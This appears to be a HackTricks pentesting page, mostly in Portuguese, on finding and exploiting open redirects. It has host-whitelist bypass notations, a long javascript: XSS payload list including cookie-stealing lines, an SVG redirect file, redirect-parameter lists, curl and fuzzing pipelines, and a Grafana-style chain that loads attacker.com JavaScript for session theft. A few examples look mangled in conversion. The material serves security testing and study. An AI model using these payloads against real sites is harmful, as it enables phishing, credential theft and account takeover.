Open Redirect

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Open redirect

Redirect to localhost or arbitrary domains

  • Se a app “permite apenas hosts internos/na whitelist”, tente notações alternativas de host para alcançar loopback ou ranges internos via o alvo do redirect:
  • IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
  • IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
  • Ponto final e caixa: localhost., LOCALHOST, 127.0.0.1.
  • Wildcard DNS que resolve para loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Estes são úteis quando apenas “subdomains of X” são permitidos mas a resolução de host ainda aponta para 127.0.0.1.
  • Referências de caminho de rede frequentemente contornam validadores ingênuos que adicionam um esquema ou apenas verificam prefixos:
  • //attacker.tld → interpretado como scheme-relative e navega para fora do site usando o esquema atual.
  • Truques com userinfo derrotam checagens contains/startswith contra hosts confiáveis:
  • https://trusted.tld@attacker.tld/ → o navegador navega para attacker.tld, mas verificações simples de string “veem” trusted.tld.
  • Confusão no parsing com barra invertida entre frameworks/browsers:
  • https://trusted.tld@attacker.tld → alguns backends tratam “\” como um caractere de caminho e passam na validação; navegadores normalizam para “/” e interpretam trusted.tld como userinfo, enviando usuários para attacker.tld. Isto também aparece em incompatibilidades do URL-parser do Node/PHP.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Payloads de bypass baseados em URL mais modernos ```text # Scheme-relative (current scheme is reused) //evil.example

Credentials (userinfo) trick

https://trusted.example@evil.example/

Backslash confusion (server validates, browser normalizes)

https://trusted.example@evil.example/

Schemeless with whitespace/control chars

evil.example%00 %09//evil.example

Prefix/suffix matching flaws

https://trusted.example.evil.example/ https://evil.example/trusted.example

When only path is accepted, try breaking absolute URL detection

/\evil.example /..//evil.example

</details>

## Open Redirect envio de arquivos svg
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Parâmetros comuns de injection

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Exemplos de código

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Fluxo de Hunting e exploitation (prático)

  • Verificação de uma única URL com curl:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
  • Descobrir e fuzz parâmetros prováveis em escala:
Clique para expandir ```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler

2) Grep common parameters and normalize list

rg -NI “(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)” urls.txt
| sed ‘s/\r$//’ | sort -u > candidates.txt

3) Use OpenRedireX to fuzz with payload corpus

cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

4) Manually verify interesting hits

awk ‘/30[1237]|Location:/I’ results.txt

</details>

- Não esqueça dos sinks do lado cliente em SPAs: procure por window.location/assign/replace e helpers do framework que leem query/hash e redirecionam.

- Frameworks frequentemente introduzem armadilhas quando os destinos de redirect são derivados de input não confiável (query params, Referer, cookies). Veja as notas do Next.js sobre redirects e evite destinos dinâmicos derivados do input do usuário.

<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>

- OAuth/OIDC flows: abusar de open redirectors frequentemente escala para account takeover por leaking authorization codes/tokens. Veja o guia dedicado:

<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>

- Respostas do servidor que implementam redirects sem Location (meta refresh/JavaScript) ainda são exploráveis para phishing e às vezes podem ser encadeadas. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Fragment smuggling + client-side traversal chain (Grafana-style bypass)

  • Server-side gap (Go url.Parse + raw redirect): validadores que só inspecionam URL.Path e ignoram URL.Fragment podem ser enganados colocando o host externo após #. Se o handler depois monta Location a partir da string não sanitizada, os fragmentos leak de volta para o destino do redirect. Exemplo contra /user/auth-tokens/rotate:
  • Request: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
  • Parsing sees Path=/ and Fragment=/..//\//attacker.com, so regex + path.Clean() approve /, but the response emits Location: /\//attacker.com, acting as an open redirect.
  • Client-side gap (validate decoded/cleaned, return original): helpers de SPA que fazem decode completo de um path (incluindo ? duplamente-encoded), removem a query para validação, mas depois retornam a string original, permitindo que ../ codificados sobrevivam. A decodificação no browser depois transforma isso em uma traversal para qualquer endpoint same-origin (e.g., the redirect gadget). Payload pattern:
  • /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  • The validator checks /dashboard/script/ (no ..), returns the encoded string, and the browser walks to /user/auth-tokens/rotate.
  • End-to-end XSS/ATO: encadeie a traversal com o fragment-smuggled redirect para forçar o dashboard script loader a buscar attacker JS:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
  • A path traversal alcança o endpoint rotate, que emite um 302 para attacker.com/module.js a partir do redirectTo contrabandeado no fragmento. Certifique-se de que a origem do atacante sirva JS com CORS permissivo para que o navegador o execute, resultando em session theft/account takeover.

Ferramentas

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks